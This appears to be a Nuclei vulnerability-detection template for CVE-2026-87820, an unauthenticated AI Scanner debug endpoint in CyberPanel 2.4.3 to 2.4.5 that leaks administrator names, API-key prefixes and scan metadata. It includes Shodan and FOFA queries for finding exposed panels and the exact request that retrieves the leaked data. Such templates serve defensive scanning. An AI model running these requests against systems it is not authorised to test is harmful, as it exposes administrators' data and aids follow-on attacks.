id: CVE-2026-87820
info:
name: CyberPanel 2.4.3-2.4.5 - AI Scanner Debug Disclosure
author: 0x_Akoko
severity: medium
description: |
CyberPanel versions 2.4.3 through 2.4.5 expose unauthenticated AI Scanner debugging endpoints that disclose administrator usernames, API-key prefixes, scan identifiers, target domains, and account metadata. Unauthenticated attackers can enumerate panel administrators and recent scanner activity to inventory multi-tenant installations and facilitate follow-on attacks.
impact: |
Unauthenticated attackers can enumerate panel administrators, API key prefixes,hosted domains, and scan metadata CyberPanel instances.
remediation: |
Upgrade CyberPanel to 2.4.6
reference:
- https://github.com/usmannasir/cyberpanel/security/advisories/GHSA-qmwq-9cc8-x6h2
- https://github.com/usmannasir/cyberpanel/commit/20484fd
- https://nvd.nist.gov/vuln/detail/CVE-2026-87820
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
cvss-score: 5.3
cwe-id: CWE-489
cve-id: CVE-2026-87820
epss-score: 0.00522
epss-percentile: 0.42755
metadata:
verified: true
max-request: 2
vendor: cyberpanel
product: cyberpanel
shodan-query: http.title:"Login - CyberPanel"
fofa-query: title="Login - CyberPanel"
tags: cve,cve2026,cyberpanel,debug,disclosure,unauth
flow: http(1) && http(2)
http:
- raw:
- |
GET / HTTP/1.1
Host: {{Hostname}}
redirects: true
max-redirects: 3
matchers:
- type: dsl
dsl:
- 'status_code == 200'
- 'contains_any(tolower(body), "cyberpanel", "usmannasir/cyberpanel")'
condition: and
internal: true
- raw:
- |
GET /api/ai-scanner/list-api-keys HTTP/1.1
Host: {{Hostname}}
Accept: application/json
matchers:
- type: dsl
dsl:
- 'status_code == 200'
- 'contains(content_type, "json")'
- 'contains_all(body, "api_key_prefix", "admin", "recent_scans")'
condition: and
# digest: 4a0a004730450221008a1fabb76e989914d8243f4d23f06e2a95ae6a970c7bf8d1982cfad05eb9cfef02204178981152ce99de69e026d1df8331441a69a7f55c69ea602a40203ac7bbf9d8:922c64590222798bb761d5b6d8e72950